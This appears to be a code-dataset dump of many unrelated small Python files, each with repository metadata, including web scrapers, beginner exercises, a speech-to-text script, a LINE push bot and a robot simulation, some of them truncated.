95aaa798c8af00c96f65f5eb1b44fac1bd9b4675 | Python | ZBeimnet/competitiveProgramming | /SH1/GenerateParenthesis.py | UTF-8 | 1,342 | 3.25 | 3 | [] | no_license | from collections import deque
class Solution:
def generateParenthesis(self, n: int) -> List[str]:
result = []
queue = deque([[[], n, n]]) # our states --> strings in list, openning_br_no, closing_br_no
while queue:
current_string, openning_no, closing_no = queue.popleft()
... | true |
72601078f3d9a369d24ceef61bf9445386f3d036 | Python | 1433223anpeng/Python | /豆瓣TOP250.py | UTF-8 | 2,719 | 3.09375 | 3 | [] | no_license | import requests
import threading
import re
import time
import queue
class MyThread(threading.Thread):
def __init__(self,f1,f2,j,data):
threading.Thread.__init__(self)
self.fget = f1
self.fclear = f2
self.j = j
self.data = data
def run(self):
while self.data.qsize... | true |
31c195a327288946109880ebb14363ce471c74fc | Python | moa1/stackexchange-zim | /indices.py | UTF-8 | 9,031 | 2.546875 | 3 | [
"LicenseRef-scancode-public-domain"
] | permissive | #!/usr/bin/python
# -*- coding:utf-8 -*-
# TODO: make that HTML <code> is rendered with a grey background.
# TODO: make that external image alternative texts are shown in a different color, maybe with a link to the external image.
from utils import *
import codecs
import templates
indices_templates={
'sites_inde... | true |
200fb276b6e6cb9292dd6a585b82bdd5b0a1c3d3 | Python | thomgo/planning-organizer | /model/entities/speaker.py | UTF-8 | 777 | 3.109375 | 3 | [] | no_license | # coding: utf-8
from .entity import Entity
class Speaker(Entity):
"""Class inheriting from entity representiong the speakers stored in database"""
def __init__(self, data = False):
# call the mother class constructor
super().__init__()
self.firstname = None
self.lastname = Non... | true |
62331c09ac59227cbff5dd6d36ce57007115b57f | Python | jsneed/TheModernPython3Bootcamp | /Section-036/coding-exercise-109.py | UTF-8 | 393 | 3.734375 | 4 | [] | no_license | '''
list_check([[],[1],[2,3], (1,2)]) # False
list_check([1, True, [],[1],[2,3]]) # False
list_check([[],[1],[2,3]]) # True
'''
def list_check(input_list):
for i in input_list:
if type(i) != list:
return False
return True
print(list_check([[],[1],[2,3], (1,2)])) # False
print(list_check([1... | true |
57333c1f60ea1c4b7baff672232d54addb3b88fd | Python | srijith123/Python | /dict.py | UTF-8 | 73 | 2.78125 | 3 | [] | no_license | a={}
b={1:'srijith',2:'john'}
print(b)
print(b.keys())
print(b.values())
| true |
054710f381453dda0526f5a05ebfe6c4ff63c550 | Python | marcwgit/javaexmps | /pluss/python/RobotSimEx/SimEx15.py | UTF-8 | 617 | 2.578125 | 3 | [] | no_license | # SimEx15.py
# Shadow
from simrobot import *
RobotContext.useTorch(1, 250, 250, 100)
RobotContext.useShadow(50, 150, 450, 200)
RobotContext.useShadow(100, 300, 350, 450)
robot = LegoRobot()
gear = Gear()
robot.addPart(gear)
ls = LightSensor(SensorPort.S1, True)
robot.addPart(ls)
gear.leftArc(0.5)
is... | true |
a087c9ef56d0a7b047f06d28a666f33678ec138f | Python | erpragatisinghpython/Python-Basic | /Tut-all-py/pickle.py | UTF-8 | 3,432 | 3.65625 | 4 | [] | no_license | ##Using a list, tuple, or dict is by far the most common way to do this:
import pickle
PIK = "pickle.dat"
#PIK = "pickle.xls"
#PIK = "pickle.txt"
data = ["A", "b", "C", "d"]
with open(PIK, "wb") as f:
pickle.dump(data, f)
with open(PIK, "rb") as f:
print (pickle.load(f))
##However, a pickle fi... | true |
1a914da3c90a8f32e75e183ae08b5d8c8ad99cca | Python | JanezRadescek/HS | /HSread2.py | UTF-8 | 3,442 | 2.546875 | 3 | [] | no_license | import re
import csv
strani = ""
with open('pureHTML2.txt', 'r', encoding="utf-8") as f: ################################################# <- test popravi v pureHTML
strani = f.read() #spet preberemo
vzorec_deck = r'(.*?)kappa123xyz'
strani_decki = re.findall(vzorec_deck... | true |
0295a4efaee6d57e34c0ae04b602d588bcce0a29 | Python | Vladimir-A2021/Geeckbrains | /Python/lesson03/exercize6.py | UTF-8 | 243 | 3.609375 | 4 | [] | no_license |
def int_func():
words_1 = input("Введите слова на латинском с маленькой буквы через пробел: ")
words_2 = words_1.title()
return words_2
words_3 = int_func()
print(words_3)
| true |
8c213155e485c8a8ab271fbcb56a13aa3640bbb3 | Python | MaksimKatorgin/module15 | /task4.py | UTF-8 | 1,336 | 3.609375 | 4 | [] | no_license | #В базе одного магазина электроники есть список видеокарт компании NVIDIA разных поколений. Для удобства в списке вместо полных
#названий хранятся только числа, они обозначают модель и поколение видеокарты. Недавно компания выпустила новую линейку видеокарт,
#и в итоге самые старшие поколения разобрали за пару дней.
#Н... | true |
a16b94b936eb526eb641c1cc08185be722101689 | Python | dakimura/xignite_search | /xignite_search/income/main.py | UTF-8 | 1,405 | 3.15625 | 3 | [] | no_license | # -*- coding:utf-8 -*-
import datetime
def search_companies_positive_income(api_client, symbols, year, net_csv_path,
operating_csv_path):
now = datetime.datetime.today()
from_date = now - datetime.timedelta(days=(year * 365))
# check if each symbol has positive net/o... | true |
4dd7ee153d4c8a90ecde4f8918ffefb3960a6e69 | Python | Divyekraj/Apartment-Visitors-Management-System | /voice4.py | UTF-8 | 665 | 2.796875 | 3 | [] | no_license | import pyttsx3
voiceEngine = pyttsx3 .init()
rate = voiceEngine.getProperty('rate')
volume = voiceEngine.getProperty('volume')
voice = voiceEngine.getProperty('voice')
print
rate
print
volume
print
voice
newVoiceRate = 50
while newVoiceRate <= 300:
voiceEngine.setProperty('rate', newVoiceRate)
voiceEngine.s... | true |
a7c28b3fc24717ebfdbed88092d8983373b7fe43 | Python | solito83/aprendendo-programar-em-python | /a-aulas/exe-006 operadores-01.py | UTF-8 | 303 | 3.703125 | 4 | [
"MIT"
] | permissive | print('exe-006 Operadores-01')
print('operadores aritméticos |+=adição|-=subtração|*=multiplicação|/=divisão|**=exponenciação|//=divisão inteira|%=resto da divisão')
5+2
5-2
5*2
5/2
5**2
5//2
5%2
print('Ordem de precedência')
print('1=()')
print('2=**')
print('3=*;/;//;%')
print('4=+;-') | true |
02112ba5189ef4d82139d1a8f76744bd72489a8a | Python | MagnusOverby/TestRepo | /MergeData.py | UTF-8 | 1,247 | 2.703125 | 3 | [] | no_license | # -*- coding: utf-8 -*-
"""
Created on Mon Aug 11 19:05:01 2014
@author: magnus
"""
import pandas as pd
import numpy as np
df1 = pd.DataFrame({'key':['b','b','a','c','a','a','b'],'data1':range(7)})
df2 = pd.DataFrame({'key':['a','b','d'],
'data2':range(3)})
df3 = pd.DataFrame({'lkey':['b','b','a',... | true |
32e75a5aa8da2e030edbc33c8d99eb2c90dd493f | Python | shahpriyesh/PracticeCode | /GrpahQuestions/CourseSchedule2.py | UTF-8 | 403 | 2.984375 | 3 | [] | no_license | from collections import defaultdict
class CourseSchedule2:
def courseSchedule2(self, numCourses, prerequisites):
# map course -> list of prerequisites
hmap = defaultdict(list)
for prereq in prerequisites:
hmap[prereq[0]].append(prereq[1])
# keep a list of taken classes
... | true |
db25990a301605259dcd84f745ed3f7199317e04 | Python | anweshatomar/Automatic-Speech-Recognition | /speechrecog/google_api/google_sync.py | UTF-8 | 2,315 | 2.75 | 3 | [] | no_license | import os
from google.cloud import speech
import io
import pandas as pd
from jiwer import wer
os.environ["GOOGLE_APPLICATION_CREDENTIALS"]="envspeech.json"
def transcribe_file(speech_file):
"""Transcribe the given audio file."""
client = speech.SpeechClient()
with io.open(speech_file, "rb") as audio_file:... | true |
f7e3220550342f84c3e8c7acb2a8571b5d5a2dae | Python | K9Wan/oldcodes | /prog-py3-start/test_aheui.py | UTF-8 | 363 | 3.203125 | 3 | [] | no_license | a={'0':'바','1':'밤빠나','2':'반','3':'받','4':'밤','5':'발','6':'밦','7':'밝','8':'밣','9':'밞','+':'다','-':'타','*':'따','/':'나'}
s=input()
for i in s:
print(a[i],end='')
print('망하')
k=list()
for i in s:
if i in '0123456789':
k.append(i)
if i in '+-*/':
k.append('\n')
a=''
print(a.join(k))
print(type('d... | true |
a8b4e5a993672eb5a56486b392bbd3f33270d824 | Python | Olegblow/timeweb_test | /app/services/schema.py | UTF-8 | 500 | 3.203125 | 3 | [] | no_license | from urllib.parse import urlparse
def validate_url(field: str, value: str, error):
if not is_url(value):
error(field, f'is not valid url, {value}')
create_schema = {
'url': {
'type': 'string',
'required': True,
'empty': False,
'validator': validate_url
}
}
def ... | true |
6c20c611b02cfb8f191a290846966e703a080f0b | Python | daniel-reich/ubiquitous-fiesta | /HJNhLoS4W8jdEYprh_12.py | UTF-8 | 96 | 3.015625 | 3 | [] | no_license |
def list_between(num1, num2, lst):
return list(filter(lambda x : x>num1 and x<num2, lst))
| true |
80b9ccd97144382c35c37c4f9e70006fa0f9ca5e | Python | ch0c01ate/lab3 | /map.py | UTF-8 | 526 | 3.140625 | 3 | [] | no_license | import folium
import geocoder
def create_location_map():
return folium.Map()
def add_map_child(map, coordinates, user_name):
'''
str,str,str -> None
This function gets figures and adds markers on a map.
'''
map.add_child(folium.Marker(location=coordinates,
pop... | true |
4bf192517bd659b1e8a32f2bd855c9a2e10a39f9 | Python | anhoppe/robot-e | /robot-e.py | UTF-8 | 4,179 | 3.25 | 3 | [] | no_license | from tkinter import *
from PIL import ImageTk, Image
import random
class App():
def __init__(self):
self.playerShotSpeed = 6
self.enemySpeed = 233333333333333333333333
self.playerSpeed = 10
self.maxY = 600
self.maxX = 800
self.clockSpeed = 15
self.root = Tk()
self.canvas = Canvas(self.root, width ... | true |
9efc9ac0f8078966df3d9b88d950e9ac17dfbba7 | Python | lyhbarry/CS4243_Project | /stitcher.py | UTF-8 | 8,578 | 3.546875 | 4 | [] | no_license | """
Author: Ng Jun Wei
Stitcher module
Handles the full court panoramic view of the game.
"""
import numpy as np
import homography as hg
import cv2
import math
import os
def generate_corresponding_pairs(points1, points2, threshold=5):
# type: ((int, int)[], (int, int)[]) -> ((int, int), (int, int))[]
"""
... | true |
b64bf1bf1a286bb88b3408bc9940eba76f58e810 | Python | Wolfant/EspePython | /Labs/clave.py | UTF-8 | 1,412 | 3.59375 | 4 | [] | no_license | def valida_numero_caracteres(password):
if len(password) <= 7:
return False
else:
return True
def valida_alfa(password):
if password.isalnum():
return True
return False
def validar_space(password):
for s in password:
if s.isspace() == True:
retur... | true |
dd275ab5c839bc888df318e0b601cae38d0e8dc3 | Python | chainren/python-learn | /thread/task_worker.py | UTF-8 | 1,136 | 2.796875 | 3 | [
"Apache-2.0"
] | permissive | # encoding = utf8
import time
from multiprocessing.managers import BaseManager
from queue import Queue
# 创建类似的QueueManager:
class QueueManager(BaseManager):
pass
# 由于这个QueueManager只从网络上获取Queue,所以注册时只提供名字
QueueManager.register('get_task_queue')
QueueManager.register('get_result_queue')
# 连接到服务器task_master
se... | true |
6f17e723a2757815b92dc0c3c951dede91eca499 | Python | soominjung/Simple-Push-Linebot | /sendPushMessage.py | UTF-8 | 843 | 2.640625 | 3 | [] | no_license | import os
import sys
from linebot import LineBotApi
from linebot.models import TextSendMessage
from linebot.exceptions import LineBotApiError
# get channel_access_token from your environment variable
channel_access_token = os.getenv('LINE_CHANNEL_ACCESS_TOKEN', None)
if channel_access_token is None:
print('Specif... | true |
08419f58a1fb746c024c5c6f998cf445d97e10e2 | Python | curiousrobo/covidtracker | /app.py | UTF-8 | 917 | 2.578125 | 3 | [] | no_license | import streamlit as st
import pandas as pd
import numpy as np
import warnings
warnings.filterwarnings(action='ignore')
from plots import tablePlot
from data import rawData
from preprocess import rawDataPreprocess
st.markdown("<h1 style='text-align: center; color: #000000'>COVID19 TRACKER</h1>",
... | true |
4d8fe888282a551adefa9aea0602baee693d4ac9 | Python | ryepdx/chainstori.es | /snippet/__init__.py | UTF-8 | 1,316 | 2.59375 | 3 | [] | no_license | import flask
from snippet.models import Snippet
from cyborg import DynamicAttributeError
CREATED_MESSAGE = "Snippet created!"
class SnippetHandler(object):
def __init__(self, snippet):
self.snippet = snippet
@property
def get(self):
return self
def machine(self, request):
ret... | true |
2ffc64f0941015dee41295539b9ee195da5ad111 | Python | amialiashkasashka/db-practise | /db_manager.py | UTF-8 | 5,115 | 2.984375 | 3 | [] | no_license | import mysql.connector
# decorator to ensure that connection closes after each session
def safe_session(method):
def wrapper(ref, data_to_insert=None):
ref.connection = ref._connect()
try:
if data_to_insert is not None:
method(ref, data_to_insert)
else:
... | true |
1b656c0920eb0b58642124387d4553ce4f7aaae0 | Python | includecode/denver | /sss.py | UTF-8 | 15,340 | 3.625 | 4 | [] | no_license | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Thu Jun 11 13:04:06 2020
@author: pavel
"""
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Wed Jun 3 20:38:19 2020
@author: pavel
x.1299999999999999y = x.13
1.99999999999999y = 2
EX:
-1.799999999999999y = -1.8
priviligier l'écriture... | true |
7d90154c266646f2ff2f472a671905197c42ef91 | Python | alldatacenter/alldata | /dts/airbyte/airbyte-cdk/python/airbyte_cdk/sources/utils/transform.py | UTF-8 | 9,488 | 3 | 3 | [
"MIT",
"Elastic-2.0",
"Apache-2.0",
"BSD-3-Clause"
] | permissive | #
# Copyright (c) 2023 Airbyte, Inc., all rights reserved.
#
import logging
from distutils.util import strtobool
from enum import Flag, auto
from typing import Any, Callable, Dict, Mapping, Optional
from jsonschema import Draft7Validator, ValidationError, validators
json_to_python_simple = {"string": str, "number": ... | true |
e97e7c98a4a6938337ea94ee0729208f5d0286fa | Python | byunghun-jake/udamy-python-100days | /day-22-pongGame/scoreboard.py | UTF-8 | 467 | 3.265625 | 3 | [] | no_license | import turtle
class ScoreBoard(turtle.Turtle):
def __init__(self, x_pos):
super().__init__()
self.hideturtle()
self.penup()
self.speed("fastest")
self.color("white")
self.goto(x_pos, 260)
# self.shape()
self.score = -1
self.score_update()
... | true |
6d87cd6a3f38c200023febf23fbbc09a1c8d2564 | Python | wangredfei/nt_py | /Base/ex04/lx1_qiepian.py | UTF-8 | 541 | 4.53125 | 5 | [] | no_license | #1. 写一个程序,输入一个字符串,把字符串的第一个字符和最后一个字符去掉,打印出来
# s = input("输入一个字符串: ")
# if s:
# print(s[1:len(s)-1])
# else:
# print("重新输入")
# 2. 写程序,输入任意一个字符串,判断这个字符串是否是回文
# - 回文是指中心对陈的文字
# - 上海自来水来在上海
# - ABCCBA
s = input("输入一个字符串: ")
s2 = s[::-1]
if s == s2:
print("True")
else:
print(... | true |
a6259cf4230751402f3fa223c439d818d8456ad2 | Python | seanjtaylor/ergo | /ergo/distributions/mixture.py | UTF-8 | 9,804 | 2.578125 | 3 | [
"MIT"
] | permissive | """
Mixture distributions
This module contains both the base Mixture Class as well as the Location-Scale Family
Mixture Subclass.
"""
from dataclasses import dataclass, field
from functools import partial
import itertools
from typing import List, Optional, Sequence, Type, TypeVar
from jax import grad, jit, nn, scipy
... | true |
fcb4fdf46fbaced879fd5e6ce7de499e81f6152e | Python | YilmazKerem/WebScraping | /WebscrapingBrandstofType.py | UTF-8 | 3,378 | 2.71875 | 3 | [] | no_license | import datetime
import time
from firebase import firebase
from urllib.request import urlopen as uReq
import json
import sched, time
Firebase = firebase.FirebaseApplication("https://rend-a7592.firebaseio.com/",None)
def SendFirebase(JsonList,Datum, Change):
Resultaat = Firebase.get(f"/VerzamelinBrandstofType/{Dat... | true |